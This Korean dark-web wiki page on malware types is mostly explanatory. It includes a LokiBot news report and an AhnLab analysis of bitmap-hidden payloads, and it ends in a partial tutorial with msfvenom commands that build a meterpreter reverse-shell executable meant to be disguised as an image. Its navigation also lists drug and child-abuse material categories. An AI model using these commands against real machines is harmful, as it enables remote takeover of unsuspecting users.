악성 코드

From Hidden Wiki
(Redirected from 악성코드)
Jump to navigation Jump to search
필독 사항 유닠스 계열 저작물, 성인물, 도박 웹 써버 보안 프로그래밍 그래핔 파싱
필독 사항 고스트BSD 표면 웹 싸이트 제작 리눅스 마스터 파이썬 트킨터 뷰티펄 숲
수학 아이투피 마약, 아청물, 해킹 웹 싸이트 보안 웹 프로그래밍 데이터 분석 게임 제작
통계학 뮤와이어 다크넽 싸이트 제작 정보 보안 기사 쟁고우 팬더즈 파이게임

||정보통신망 이용촉진 및 정보보호 등에 관한 법률 제48조(정보통신망 침해행위 등의 금지) ① 누구든지 정당한 접근권한 없이 또는 허용된 접근권한을 넘어 정보통신망에 침입하여서는 아니 된다. __② 누구든지 정당한 사유 없이 정보통신시스템, 데이터 또는 프로그램 등을 훼손·멸실·변경·위조하거나 그 운용을 방해할 수 있는 프로그램(이하 "악성프로그램"이라 한다)을 전달 또는 유포하여서는 아니 된다.__ ③ 누구든지 정보통신망의 안정적 운영을 방해할 목적으로 대량의 신호 또는 데이터를 보내거나 부정한 명령을 처리하도록 하는 등의 방법으로 정보통신망에 장애가 발생하게 하여서는 아니 된다. 제71조(벌칙) 다음 각 호의 어느 하나에 해당하는 자는 5년 이하의 징역 또는 5천만원 이하의 벌금에 처한다. 1. 제22조제1항(제67조에 따라 준용되는 경우를 포함한다)을 위반하여 이용자의 동의를 받지 아니하고 개인정보를 수집한 자 2. 제23조제1항(제67조에 따라 준용되는 경우를 포함한다)을 위반하여 이용자의 동의를 받지 아니하고 개인의 권리·이익이나 사생활을 뚜렷하게 침해할 우려가 있는 개인정보를 수집한 자 3. 제24조, 제24조의2제1항 및 제2항 또는 제26조제3항(제67조에 따라 준용되는 경우를 포함한다)을 위반하여 개인정보를 이용하거나 제3자에게 제공한 자 및 그 사정을 알면서도 영리 또는 부정한 목적으로 개인정보를 제공받은 자 4. 제25조제1항(제67조에 따라 준용되는 경우를 포함한다)을 위반하여 이용자의 동의를 받지 아니하고 개인정보 취급위탁을 한 자 5. 제28조의2제1항(제67조에 따라 준용되는 경우를 포함한다)을 위반하여 이용자의 개인정보를 훼손·침해 또는 누설한 자 6. 제28조의2제2항을 위반하여 그 개인정보가 누설된 사정을 알면서도 영리 또는 부정한 목적으로 개인정보를 제공받은 자 7. 제30조제5항(제30조제7항, 제31조제3항 및 제67조에 따라 준용되는 경우를 포함한다)을 위반하여 필요한 조치를 하지 아니하고 개인정보를 제공하거나 이용한 자 8. 제31조제1항(제67조에 따라 준용되는 경우를 포함한다)을 위반하여 법정대리인의 동의를 받지 아니하고 만 14세 미만인 아동의 개인정보를 수집한 자 __9. 제48조제2항을 위반하여 악성프로그램을 전달 또는 유포한 자__ 10. 제48조제3항을 위반하여 정보통신망에 장애가 발생하게 한 자 11. 제49조를 위반하여 타인의 정보를 훼손하거나 타인의 비밀을 침해·도용 또는 누설한 자||



설명

악성코드 malicious code (혹은, 멀웨어 malware, 악성 소프트웨어, 악성 프로그램)는 "정상적"인 기능을 위해 만들어진 것이 아닌, 사용자에게 해악을 끼치는 "악의적" 목적으로 만들어진 모든 코드(code)의 총칭이다. 정보통신망법에서는 '악성프로그램'이라고 한다.

구현 방식으로 컴퓨터 바이러스 (바이러스), 트로이 목마 (트로이목마), 컴퓨터 웜 ()이 존재하며, 이와 별개로 실질적 행동에 따라서 따로 이름을 붙이기도 한다.

요즘은 예전과 달리 점점 악성코드 유포가 보안 절차를 회피하기 위해 여러 수단을 동시에 활용하며, 악성코드 유포 사유가 점점 더 "돈벌이"라는 현실적(?)인 목표로 변하고 있기 때문에 이전에 사용되던 3대 구현 방식만으로 분류하기는 어려워진 상태이다. 아예 랜섬웨어처럼 매우 독보적인 사례도 등장하였기 때문에, 구현 방식에 따른 구분은 요즘은 거의 사장되었으며, 보안 전문가들도 용어를 혼용, 심지어 오남용하는 경우가 많다.

사실, 악성코드를 진짜 제대로 악성 코드라는 원칙적 이름으로 불러주는 나라는 악성코드 등장 초기 부터 정부 정책 수준으로 악성코드라는 이름을 못 박아둔 한국 말고는 없다고 봐도 무방하다.[* 일례로, 이웃나라 일본의 경우 형법 (일본 형법)에서 '부정지령전자적기록(不正指令電磁的記録)'이라는 표현을 쓰고 있다. 잘못된 명령을 내리는 전자적 기록이라는 뜻.] 대부분의 보안전문가들이 일반인과 별반 다를거 없이 악성코드를 여러가지 "엄밀하지 못한" 용어들로 부르는 경우가 많다. 이 때문에 보안 업계에서 약장수급 용어 사용이 일어나 비판받기도 한다.

정부차원에서 사이버 전쟁을 위해 악성코드를 제작해 상대방 국가의 주요 기관이나 시설을 공격하는 행태도 있다.

종류

악성코드의 종류를 엄밀히 나누는 것은 매우 어렵다. 이유는 대부분의 경우 효과적으로 작동하기 위해 여러가지 기능이 뒤섞여 있기 때문이다. 예를 들어 웜이 바이러스처럼 실행파일을 감염시키고 내부에 트로이 목마를 포함하고 있다거나 하는 경우가 많다. 이 때문에 같은 악성코드라도 보안업체마다 분류가 다른 경우가 많으며, 보안 전문가들도 용어를 혼동하여 사용하는 경우가 잦다.

작동 방식에 따른 분류

모든 악성코드는 기본적으로 이 3가지 범주안에 들어간다. 시스템의 각종 보안 절차를 아예 회피하기 위해 운영체제의 보안 허점등을 이용해 조용히 "합법"으로 위장, 혹은 아예 진짜 "합법"적으로 활동하는 "악성"코드들도 일단은 이 3가지 범주를 벗어날 수 없다.

하지만 요즘은 이 3가지 범주 중 하나에 집착하지 않고, 그냥 돈벌이(?)를 위해 모든 수단을 다 동원하다 보니 상당히 유명무실해진 분류이기도 하다. 물론, 혼동을 막기 위해 이 3가지 분류는 기능적(?) 분류와는 다르단건 알아두자.

각 분류의 가장 중요한 '실용적' 특징은 다음과 같다.

* 컴퓨터 바이러스: 다른 코드들을 감염시킬 수 있다.
* 트로이목마: 정상 코드인 것처럼 보이지만 (혹은 아예 이게 뭔지도 모르지만) 사실 원래부터 악성코드.
* 웜: 네트워크를 통해 구현된다. (다른 코드를 감염시키거나, 정상 코드로 위장하지 않아도 된다.)

요즘은 보안 절차를 회피하기 위해 정상 코드로 위장하는 것이 기본기 수준이 되었기 때문에 웜은 물론, 심지어 전통적 컴퓨터 바이러스 조차도 일단은 트로이목마 방식을 병용하고 있는 경우가 많다. 사실, 이 트로이목마 방식이란 것도 정상코드로 위장하는 방식 자체 보다는, 아예 이게 뭔지도 모르고, 언제 들어온 건지도 모르고, 그냥 그 자리에 몰래 들어와 보안 절차를 죄다 우회하는, 트로이목마 형태가 가진 장점에 집중한 형태로 사용되는 경우가 대부분이다.

컴퓨터 바이러스

바이러스가 어원이다. 문자 그대로 바이러스처럼 행동하는 악성코드라서 이런 이름이 붙었다. 이 악성코드 작동 방식의 가장 중요한 특징은 생물학적 바이러스와 비슷하게, 다른 코드에 끼어들어가 감염시킬 수 있다는 것.

악성코드를 통틀어 바이러스라고 하는 경우가 많은데, 엄밀한 의미의 컴퓨터 바이러스는 실제 바이러스와 비슷하게 다른 코드 속에 끼어 들어가 해당 코드가 실행될 때 같이 동작하면서 (= 자가실행 불가) 자기 코드를 복제해 다른 코드에 끼워 넣으며 확산되는 (=자기복제) 방식의 악성코드만을 말한다.

트로이 목마와 다르게 정상 코드에 자기 코드를 끼워 넣는 (=감염) 방식이며, 따라서 처음부터 악성코드를 정상코드로 속여서 전파되는 트로이 목마와는 다르다. 트로이목마는 감염이 아닌 위장을 취하므로 바이러스와 달리 자가복제 기능이 굳이 필요하지 않다.

웜의 경우 네트워크 상에서 존재하며 해당 네트워크에 연결된 모든 기기를 공격할 수 있기 때문에 자가복제 자체가 필요 없다. 물론, 피해를 더 악화시키기 위해 바이러스의 방식, 곧 데이터 파괴를 끼워넣을 수는 있고, 비슷한 개념으로 웜으로 구현된 랜섬웨어가 있다. (워너크라이 등)

백도어나 스파이웨어의 경우 만들기에 따라서 트로이 목마, 웜, 바이러스 3가지 형태 중 아무거나 골라 만들 수 있다. 쉽게 말해 백도어나 스파이웨어를 숙주 컴퓨터에 심기 위해 트로이 목마, 웜, 바이러스 형태로 만들어진다.

컴퓨터 바이러스는 다른 데이터의 코드들 변형 시키는 작동 방식 덕분에 보안 프로그램에게 적발되기 쉽고, 네트워크 전체를 작살낼 수 있는 웜과 달리 전파가 까다로워 요즘은 거의 보기 힘든 악성코드 유형이지만, 한번 감염되면 온갖 코드에 다 끼어들어가 코드를 더럽히고 작동하면서 데이터를 죄다 파괴하는 것이 가능하므로, 일단 피해가 발생할 경우 제일 더러운 유형이다. 이 때문에 데이터를 공격해 자기복제 하는 개념 자체는 도태되었더라도, 데이터를 파괴하는 실질적 효과는 요즘도 대부분의 악성코드에 첨가된다.

~~엄밀히 따지면 돈이 안 되는 방식이라 도태된 것이다.~~[* 컴퓨터 바이러스의 경우 바이러스 코드 자체를 암시장에 판매하는 수익 모델을 취하나, 랜섬웨어는 감염된 사용자에게서 직접 돈을 갈취하므로 돈도 더 잘 벌리고 코드의 재사용도 용이하다.]

트로이 목마

얼핏 보기엔 정상코드인것 같거나, 혹은 악성코드 여부를 당최 알 수 없지만, 사실 원래부터 "악성코드"를 무료로 첨가(...)해둔, 즉 태생이 원래 악성코드인 것들을 지칭한다.

악성코드 유포자 입장에선 아예 사용자가 보안 프로그램을 무용지물로 만들어 주는 것이 제일 편리하다. 따라서, 요즘은 대부분의 악성코드가 부분적으로라도 트로이 목마 방식을 가지고 있다.

자세한 것은 해당 문서 참조.

개별 단말들의 데이터에 들어가서 개별적으로 작동하는 것이 아니라, 이 단말들을 묶은 네트워크 상에서 구현되는 악성코드를 이르는 말이다. 네트워크에 연결된 모든 단말들에 영향을 끼칠 수 있으므로 가장 강력한 악성코드 구현 방식이기도 하다. 이러다보니 전통적인 "작동 방식에 따른 분류"를 엄밀히 따르는 것으론 거의 유일하게 살아남은 부류이다.

다만, "네트워크 상"에서 존재하는 만큼 각 단말의 개별 사용자가 아닌, 네트워크 관리자의 감시를 받게 되기 때문에, 다른 구현 방식에 비해 훨씬 치밀한 보안 절차를 뚫어야 하는 단점이 있다. 대신, 일단 성공하면 네트워크에 물린 단말들이 싸그리 작살나므로 피해가 무지막지하다.

요즘은 일반인이 웜을 경험하는 일이 드물고, 대개 조직 단위에서나 친숙하게 만나는 부류이다. 일반인이 직접 체감할 정도의 사안은 대게 "피해가 발생하는 줄도 모르는" 경우가 많고, 각종 보안 업데이트로 쥐도 새도 모르게 틀어막혀 진다. 물론, 요즘도 워너크라이 같이 악랄한 사태가 터지는 경우가 없진 않다.

자세한 것은 해당 문서 참조.

특성에 따른 분류

스파이웨어

컴퓨터에 사용자의 동의 없이 설치되어 개인정보 등을 빼가는 악의적 소프트웨어다. 자세한 것은 해당 문서 참조.

백도어

백도어는 말 그대로 뒷문이라는 뜻으로, 시스템 접근에 대한 사용자 인증 등 정상적인 절차를 거치지 않고 응용 프로그램 또는 시스템에 접근하여 컴퓨터 속의 정보를 빼내가거나 특정 작업을 하도록 제작된 프로그램이다.

루트킷

단일 컴퓨터 또는 일련의 컴퓨터 네트워크에 대해 관리자 레벨의 접근을 가능하도록 하는 도구(프로그램)의 집합이다. 시스템 침입 후 침입 사실을 숨긴 채 차후의 침입을 위한 백도어, 트로이목마 설치, 원격 접근, 내부 사용 흔적 삭제, 관리자 권한 획득 등 주로 불법적인 해킹에 사용되는 기능들을 제공하는 프로그램의 모음이다.

루트킷이 설치되면 자신이 뚫고 들어온 모든 경로를 바꾸어 놓고, 명령어들을 은폐해 놓기 때문에 해커가 시스템을 원격으로 해킹하고 있어도 루트킷이 설치되어 있는 사실조차 감지하기 어렵다.

침입자는 먼저 암호를 크래킹 하거나 시스템 취약점을 찾아내어 사용자용 접근 권한을 획득한 뒤, 컴퓨터에 루트킷을 설치한다. 루트킷은 네트워크상의 다른 컴퓨터에 있는 사용자 ID와 암호들을 탐지하여 해커에게 루트 권한, 시스템 정보 그리고 기타 특수한 접근 권한을 제공한다. 또한 트래픽이나 키스트로크 감시, 해커 이용 목적의 시스템 내 백도어 설치, 로그파일 수정, 네트워크상의 다른 컴퓨터 공격, 탐지 회피를 위한 기존 시스템 도구의 수정 등의 기능을 제공한다.

키로그

사용자가 키보드로 입력하는 것을 모두 기록한다. 흔히 해킹툴 같은 것에서 볼 수 있다. IDT 후킹을 이용한다. 하드웨어 키로거도 있다.([[1]])

암호화폐 마이너

사용자 몰래 암호화폐를 채굴하는 프로그램.

비트코인 채굴은 CPU 사용량을 많이 사용하기 때문에, 컴퓨터가 느려질 수 있으며, CPU가 아닌 GPU로 채굴을 하기도 해서 그래픽카드의 수명을 갉아먹기도 한다. 따라서 비트코인 채굴을 한 적이 없는데, 알 수 없는 프로세스가 CPU 사용량을 과다하게 사용하고 있는 경우에는 비트코인 마이너로 의심하고 av로 검사해보도록 하자.

대부분의 av는 비트코인 마이너를 탐지한다.

랜섬웨어

[include(틀:상세 내용, 문서명=랜섬웨어)] 이름의 어원은 Ransom(인질) + Ware. 이름 그대로 감염자 컴퓨터의 데이터에 접근할 수 없게 암호화[* 일명 encrypted.]를 걸고, 데이터를 인질로 삼아 잠금을 해제하는 키를 대가로 금품을 요구하는 악성코드의 통칭이다.[* 이거 당했을 때 절대로 돈을 보내지 말자. 어짜피 다 속임수이다.] 악성코드 가운데서도 가장 질이 나쁘고 악랄한 종류로 현재로서는 예방을 해도 확신할 수 없는, 최악의 악성코드. 지금으로서의 최선의 예방책은 신뢰하지 못할 메일을 열어보거나, 사이트를 들어가지 않는 것이다.

애드웨어

광고를 보여주는 프로그램을 통칭한다. 사용자 동의 없이 몰래 설치되는 악성코드일 수도 있지만, 눈속임을 통해 은근슬쩍 사용자의 동의를 받고 설치되는 PUP 형태도 많다. 자세한 것은 해당 문서 참조.

합법적(?)으로 활동하는 경우도 많다보니 정보통신망법에서도 악성코드와는 별도로 규정하고 있다. 일단 악성 활동을 하니 엄밀히 따지면 합법(?) 여부와 무관하게 악성코드이긴 하다.

기타

* --가짜 악성코드 괴담--: 실존하지 않는 악성코드가 존재한다고 사람을 속이는 행위. 컴퓨터의 영역은 아니다.
* 과금형 악성코드: ARS 또는 유료 SMS(건당 x원) 서비스에 전화를 걸어 돈이 빠져나가게 되는 경우.([])
* 조크 바이러스: 컴퓨터가 아니라 사용자의 멘탈을 공격하는 악성코드. 자세한 사항은 해당 문서 참조.
* 허위 백신 프로그램: 금전적 이득을 얻으려는 목적으로 백신 프로그램을 사칭하는 불법 행위. 자세한 것은 해당 문서 참조.
* 해킹툴: 해킹에 악용되는 프로그램. 비전문가도 해킹을 할 수 있도록 도와주는 프로그램이다. 물론 진짜 해커들은 해킹툴을 사용하지 않고, 대부분이 실력은 없는데 해킹을 하고 싶은 스크립트 키디들이다. 자세한 것은 해당 문서 참조.[* 엄밀히 말해 해킹툴 자체는 이용하는 해커에게는 해를 끼치지 않지만, 해킹툴 자체가 해킹의 수단이 될 뿐 아니라 해킹을 위한 악성코드를 생성하므로 해킹툴도 악성코드의 일종으로 볼 수 있다.]
* istartsurf
* cl ncclick 인터넷 익스플로러에서 뭔가 검색만 하면 관련 키워드로 온갖 쇼핑몰 사이트로 안내하는 악성코드. --마크 복돌이가 자주 걸린다 카더라-- 


PNG 그림 파일 타고 퍼지는 로키봇 멀웨어 주의

PNG 그림 파일 타고 퍼지는 로키봇 멀웨어 주의

2019-04-09

원래는 .zipx 포맷인 첨부파일, png 파일로 둔갑해 퍼져 파일 구조도 png, 이미지 뷰어로도 여는 게 가능...게이트웨이와 사용자 속여

로키봇(LokiBot)이라는 정보 탈취형 트로이목마를 배포하는 스팸 캠페인이 발견됐다. 이를 적발한 보안 업체 트러스트웨이브 스파이더랩스(Trustwave SpiderLabs)는 “공격자들이 매우 독특한 탐지 회피 기술을 사용하고 있다”고 경고하기도 했다.

[이미지 = iclickart]

로키봇은 꽤나 널리 사용되는 트로이목마 중 하나로 엔드포인트로부터 정보를 몰래 빼내는 데 특화되어 있다. 트러스트웨이브의 수석 연구 책임자인 필 헤이(Phil Hay)는 “사용이 간편하고 효과적이라 인기가 높다”며 “다크웹의 암시장에서는 300달러 정도에 거래되는 물건”이라고 설명한다.

“최근 로키봇을 퍼트리는 스팸 이메일에는 세 가지 특성이 있습니다. 메일의 첨부파일은 .zipx라는 확장자를 가지고 있습니다. 즉 뭔가 압축되어 있다는 뜻이죠. 압축을 풀었을 때 악성 파일과 멀웨어가 장비 내에 설치됩니다. 그렇기 때문에 일반적인 이메일 보안 게이트웨이가 첨부된 압축파일을 발견하면 경고 메시지를 띄웁니다.”

그렇기 때문에 공격자들은 이 첨부파일을 걸리지 않고 전달해야 한다. “이 시점에서 공격자들은 보안 탐지 기술을 속이기 위한 난독화 기술을 부리기 시작합니다. 파일 시그니처(file signature)를 사용해 파일을 .PNG 이미지 파일로 바꾸는 겁니다. 공격자들은 .PNG 파일 구조를 사용하는데, .PNG 헤더와 IEND까지 완벽하게 구성합니다. 그러니 스캐너가 zipx 파일을 스캔해도 .PNG로 인식합니다.”

PNG 파일 내에서 IEND는 ‘이미지의 끝부분을 표시’하는 기능을 담당하고 있다. 또한 맨 마지막으로 나타나는 게 정상이다. “하지만 이번 공격에 사용된 파일의 경우 IEND 뒤에도 꽤 많은 데이터가 첨부되어 있습니다. 물론 이것 자체로 파일이 잘못된 건 아닙니다. PNG도 이런 걸 허용해줍니다. 다만 PNG를 화면에 출력하는 애플리케이션에 따라 이 데이터가 무시되기도 하고 해석되기도 합니다.”

그리고 이 악성 첨부파일은 구조만 .PNG가 아니다. 이미지 뷰어 프로그램을 사용하면 작은 .JPG 아이콘의 이미지가 나타나기도 한다. “이 역시 공격자들이 피해자들을 속이기 위해 마련한 것으로 보입니다.” 이런 다중의 난독화 기술 덕분에 이메일 보안 시스템이나 게이트웨이가 탐지에 실패할 때가 많다.

이 덕분에 악성 파일은 무사히 피해자의 시스템에 안착하고, 공격이 시작된다. “공격이 시작되는 건, 사용자가 첨부파일을 클릭하면서부터입니다. 피해자의 시스템 설정 상태에 따라 클릭 후 압축해제 프로그램이 시작될 수도 있고 이미지 뷰어가 시작될 수 있습니다. 그러나 윈라(WinRAR)로 열렸을 때 공격자가 원하는 대로 공격이 시작됩니다. 7-Zip이나 윈집(WinZip)으로 열릴 경우 모든 파일이 제대로 설치되지 않습니다.”

모든 시나리오가 공격자의 의도 대로 흘러갈 경우, 500KB였던 zipx 파일은 13.5MB의 페이로드로 변모한다. RFQ-5600005870.exe 파일이 나타나는데, 사용자가 더블클릭을 하면 실행된다. “이는 1단계 기능을 가진 멀웨어입니다. 실행되면 주요 페이로드를 복호화해서 메모리 내에 생성합니다. 이를 프로세스 할로윙(Process Hollowing)이라는 기술로 실행합니다.” 프로세스 할로윙이란, 새로운 프로세스를 중단된 상태로 만들어 메모리가 할당되지 않게 한 다음, 악성 코드를 주입하는 기법이다.

트러스트웨이브에 의하면 로키봇의 C&C 툴들은 PHP 프로그래밍 언어로 만들어졌다. 그리고 거의 모든 경우에 fre.php라는 파일 이름을 사용한다고 한다. “그러니 이메일 보안 기능이 못 미덥고, 이 로키봇 공격을 차단하고 싶다면 fre.php라는 파일을 막도록 게이트웨이를 설정해도 됩니다.”


3줄 요약

1. 최근 발견된 로키봇 캠페인, PNG 파일로 위장된 악성 첨부파일 퍼트리고 있음.

2. 로키봇은 꽤나 보편적인 정보 탈취형 멀웨어로, 약 300달러 정도에 거래됨.

3. 첨부파일에 유의하는 것 외에 fre.php라는 파일 차단하면 어느 정도 방어가 가능함.


이미지 형태의 인코딩 데이터를 포함하는 악성파일 (1)

이미지 형태의 인코딩 데이터를 포함하는 악성파일 (1)

2017년 9월 29일

IT 기술이 발전하는 만큼, 그리고 다양한 보안 제품과 장비에서의 기술이 발전하는 만큼 악성코드에서 사용하는 기술 또한 정교해지고 복잡하게 발전하고 있다는 점은 이미 널리 알려진 사실이다. 특히 악성코드 제작자의 입장에서는 1차적으로 보안 장비/제품에서 탐지되지 않는 것이 매우 중요하므로 다양한 탐지 회피 기법을 적극적으로 도입하고 있다. 탐지 회피 기법의 대표적인 예로는 악성코드의 외형을 가급적 정상 파일과 비슷하게 유지하면서 악의적인 데이터를 파일 외부에서 바로 확인할 수 없도록 인코딩 등의 과정을 거쳐 은닉하는 방법이 있으며, 악성코드의 종류에 따라 매우 다양한 데이터 은닉 기법이 발견되고 있다.

이러한 은닉 기법 중에서 인코딩 된 데이터가 비트맵 이미지 (BMP) 형태로 위장된 형태의 악성코드에 대해서 소개할 예정이며, 다음과 같이 두 가지 유형에 대해서 총 2회에 걸쳐 설명한다.

[유형-1] 리소스 섹션에 비트맵 이미지 형태의 인코딩 된 데이터를 포함하는 악성코드

[유형-2] VisualBasic 의 Form 내부에 비트맵 이미지 형태의 인코딩 된 데이터를 포함하는 악성코드

[0] 비트맵 이미지 (BMP)

해당 유형의 악성코드를 자세히 살펴보기 이전에 먼저 비트맵 이미지에 대해 기본적인 이해가 필요하다. 비트맵 (BITMAP) 이란 비트(BIT) 와 맵(MAP) 의 합성어로, 일련의 비트가 나열된 데이터의 집합을 의미한다. 비트는 컴퓨터에서 데이터를 표현하는 데 사용되는 최소의 단위이며 0과 1로 구성된다. 비트맵으로는 단순한 데이터를 저장할 수도 있지만 이미지 데이터를 저장할 경우에는 비트맵 이미지로써 해석될 수 있다.

비트맵 이미지는 비트맵 헤더와 이미지 데이터로 구성되어 있다. 비트맵 헤더는 운영체제 또는 응용프로그램에서 비트맵 이미지를 제대로 해석하기 위해 필요한 정보로, 운영체제에 따라 일부 차이가 있으나 여기서는 Windows 기준으로 설명한다.

비트맵 이미지의 시작 부분에는 BitmapFileHeader 와 BitmapInfoHeader 가 위치하고 있다. BitmapFileHeader 는 “BM” 문자열로 시작하며, 비트맵 이미지의 전체 크기와 이미지 데이터가 시작되는 위치에 대한 정보를 포함된다. 바로 이어서 등장하는 BitmapInfoHeader 에는 이미지의 가로, 세로 크기와 사용되는 색상의 심도, 압축 사용 여부 등의 정보를 포함하고 있다. 실제 비트맵 이미지 파일에서 각 헤더와 이미지 데이터의 모습을 [그림1] 에 표시하였다.

[그림 1] 비트맵 이미지 구조

앞서 분류한 두 가지 유형의 악성코드에는 내부에 비트맵 이미지를 포함되어 있다고 소개했다. 그렇다면 해당 비트맵 이미지는 어떤 그림을 표현하고 있을까? 특이하게도 악성코드 내부의 이미지들은 아래 [그림 2]와 같이 사람이 보기에는 의미를 찾을 수 없는 형태로, 다양한 색의 점으로 가득 찬 모습이다. 이러한 형태의 비트맵 이미지를 본 문서에서는 '랜덤픽셀 이미지' 라고 지칭하며, 이제부터 각 유형의 악성코드와 랜덤픽셀 이미지에 대해 조금 더 자세히 살펴보겠다.

[그림 2] 악성코드 [유형-1] 과 [유형-2] 내부의 랜덤픽셀 이미지

[1] 리소스 섹션에 비트맵 이미지 형태의 인코딩 된 데이터를 포함하는 악성코드

[유형-1]의 악성코드는 섹션의 개수, 진입점(EntryPoint) 부분 코드의 흐름 등 구조적으로 Visual Studio 로 컴파일 된 실행파일의 특징을 보인다. 총 4개의 섹션 중 리소스(.rsrc) 섹션에 다양한 리소스 엔트리를 포함하고 있는데, [그림 3] 에서 확인할 수 있듯 공통적인 특징으로 BITMAP 엔트리가 존재한다. BITMAP 엔트리는 실행파일 내부에서 사용하는 이미지 파일이 저장되는 곳으로, GUI 기반의 실행파일에서 흔하게 확인이 가능한 리소스이다.

[그림 3] 악성코드 유형-1 의 섹션 구조

[유형-1] 악성코드는 랜덤픽셀 이미지를 BITMAP 리소스 엔트리 내부에 포함하고 있다. 같은 유형의 악성코드일지라도 개별 파일간에 차이가 존재하여, BITMAP 리소스 엔트리 내부에 1개의 이미지만 포함하는 경우도 있고, 다수의 이미지를 포함하기도 한다. 주요한 특징은 [유형-1] 악성코드라면 BITMAP 리소스 엔트리 내에 랜덤픽셀 이미지가 반드시 1개는 존재한다는 점이다. [그림 4] 에 나타난 것과 같이 [샘플 1-1]은 BITMAP 리소스 엔트리 내에 2개의 비트맵 이미지를 포함하며, 그 중 두 번째 이미지가 랜덤픽셀 이미지이다. [샘플 1-2]의 경우는 총 3개 중 세 번째 이미지에, [샘플 1-3]은 내부에 1개의 랜덤픽셀 이미지만 존재한다.

[그림 4] 악성코드 [유형-1] 내부의 랜덤픽셀 이미지

그렇다면 악성코드가 내부에 이러한 랜덤픽셀 이미지를 포함하는 이유는 무엇일까? 비트맵 이미지로 해석되고 있는 이 이미지들은 사실은 악성코드가 실제 악성 행위를 수행하기 위해 2차로 만들어내는 또 다른 악성코드를 인코딩 한 데이터이다.

[샘플 1-1]의 코드 흐름을 따라가보며 확인해보겠다. 해당 샘플의 main 함수 내에 진입하면, 처음에는 의미 없는 코드가 일부 실행되다가 [그림 5]의 (1)과 같이 메모리를 할당 받는 코드가 등장한다. 그 이후 파일 본체에서 특정 위치를 참조하여(2) 해당 데이터를 할당 받은 메모리에 복사하는(3) 루틴이 존재한다.

[그림 5] 샘플 1-1 에서 랜덤픽셀 이미지를 참조하는 부분

복사되는 데이터의 위치를 실제 그림에서 확인해보면, [그림 4] 에 나타난 [샘플 1-1] 의 그림에서 아래쪽 부분의 분홍색 영역과 랜덤픽셀 이미지 영역의 경계 부분에 해당한다. 즉, 분홍색의 바탕 그림 부분은 악성 데이터에 해당되지 않으며, 중간영역의 랜덤픽셀 이미지 부분만이 유효한 악성 데이터로서 사용된다. 사람이 보기에는 의미를 알 수 없는 랜덤픽셀 이미지 형태가 나타나는 이유는 해당 데이터가 본래 '그림'을 나타내기 위한 데이터가 아닌 인코딩 된 형태의 데이터이기 때문을 알 수 있다.

랜덤픽셀 이미지 영역에서부터 복사해온 데이터를 디코딩하는 방법은 악성코드의 종류별로 약간 차이가 있으나, [샘플 1-1] 의 경우 TEA (Tiny Encryption Algorithm) 를 통해 디코딩 하고 있다. [그림 6] 에 랜덤픽셀 이미지의 디코딩 전 후 내용과 TEA 코드 부분 일부를 포함하였다.

[그림 6] 랜덤픽셀 이미지 영역의 디코딩

이와 같이 내부에 디코딩 된 코드로부터 본격적인 악성행위가 발생하기 때문에, 외형상의 특징만으로 어떠한 악성행위를 하는 악성코드인지를 바로 판단하는 것은 어렵다. 본문에서 예제로 든 3가지 샘플 또한 서로 다른 기능의 악성코드로, [샘플 1-1]과 [샘플 1-3]의 경우는 SageCrypt 랜섬웨어이며 [샘플 1-2]는 Matrix 랜섬웨어이다. 랜섬웨어 이외에도 Trojan 이나 Backdoor 등의 악성코드에서도 [유형-1]의 특징을 갖는 경우가 다수 발견되었다.

AhnLab V3 에서는 [유형-1] 의 샘플을 다음과 같은 진단명으로 진단한다. – HEUR/Ranpix.Gen


MSFVenom을 이용하여 이미지 파일에 악성코드 주입하기

MSFVenom을 이용하여 이미지 파일에 악성코드 주입하기

2020. 5. 21.

이 내용을 악용하여 다른 시스템에 적용하지 않습니다. 그로 인한 법적인 책임은 본인에게 있습니다. 자신이 운영하는 시스템의 보안 취약점을 찾아내는 용도로만 사용하세요.

ி MSFVenom

metasploit에서 제공하는 페이로드를 생성할 수 있는 도구로서 exe 실행 파일에 악성코드, 정확히 말하면 exploit 코드를 주입할 수 있다.

ி 4w4k3 Umbrella

Umbrella는 이미지와 exe를 합칠 수 있게 해주는 파일 드로퍼이다. 드로퍼 - 실행 시 바이러스를 불러오는 실행 파일이다. 이미지 파일에 악의적인 실행 파일을 심으면 단순히 사진 파일을 열어보는 것만으로도 악성코드가 실행될 수 있다. 특히 이미지 뷰어를 통해서 사진이 실제로 보여지므로 일반 사용자 입장에서는 정상적인 파일이라고 착각하기 쉽다.

ி 실습

시나리오 구성은 윈도우7에서 공격자 웹서버(kali)에서 제공하는 악성 이미지 파일을 다운받도록 한다. 그 후 kali에서 윈도우7의 세션을 획득한다. 윈도우7 사용자가 이미지 파일을 여는 순간 익스플로잇 코드가 실행되어 윈도가 칼리리눅스 포트로 알아서 접속해준다. 이러한 방식을 Reverse Shell이라고 한다.

앞으로 진행할 내용을 간단하게 정리하자면 msfvenom으로 악성코드가 담긴 exe를 만들고 Umbrella를 통해서 악성 exe와 이미지 파일을 합칠 것이다. 그리고 웹에 악성 이미지 파일을 올리고 사용자가 열어보아 감염된다는 전개로 진행한다.

우선 파일을 올릴 수 있는 웹 서비스 환경을 만들어 주어야 하는데 칼리에서는 이미 웹 서버가 구축되어 있으므로 웹서버 시작 명령어만 실행하면 된다.

  1. service apache2 start

그리고 msfvenom으로 악성코드가 주입된 exe 파일을 만들어야 한다. msfvenom으로 reverse 셸을 사용할 수 있는 페이로드를 조회하는 명령은 아래와 같다.

  1. msfvenom -l payloads | grep "reverse"

저 페이로드 중에 시나리오에 맞는 적합한 항목을 선택해야 한다. 우선 공격자는 윈도우 대상으로 악성 코드를 만들 것이기 때문에 windows os가 들어간 페이로드를 골라낸다. 그 중에서 리버스셸을 이용하는 페이로드를 선택한다. 그리고 악성코드를 실행시키려고 하는 운영체제가 32bit인지 64bit인지 모르기 때문에 32bit를 선택한다. 왜냐하면 보통 악성코드는 32bit 환경으로 만드는데 64bit 악성코드로 만들면 32bit 운영체제에서는 실행이 안되기 때문이다. 따라서 종합적으로 고려해보아 아래의 페이로드를 선택하였다.

windows/meterpreter/reverse_tcp

선택한 페이로드를 생성하기 위한 명령은 다음과 같다.

  1. msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.186 lport=4444 -f exe -o /root/Desktop/1234.exe

lhost는 로컬 호스트 ip, 즉 칼리리눅스의 ip이다. lport는 로컬 호스트의 port이며 이미 사용 중인 포트를 뺀 1024번 이후의 포트를 입력한다. -f 옵션은 실행 파일 형태를 나타내고 -o는 출력할 파일 경로를 지정한다. 뒤에 실행 파일 이름은 본인이 원하는대로 지정해주자. 이 파일을 실행하게 되면 상대가 내 ip:port로 접속하게 된다.

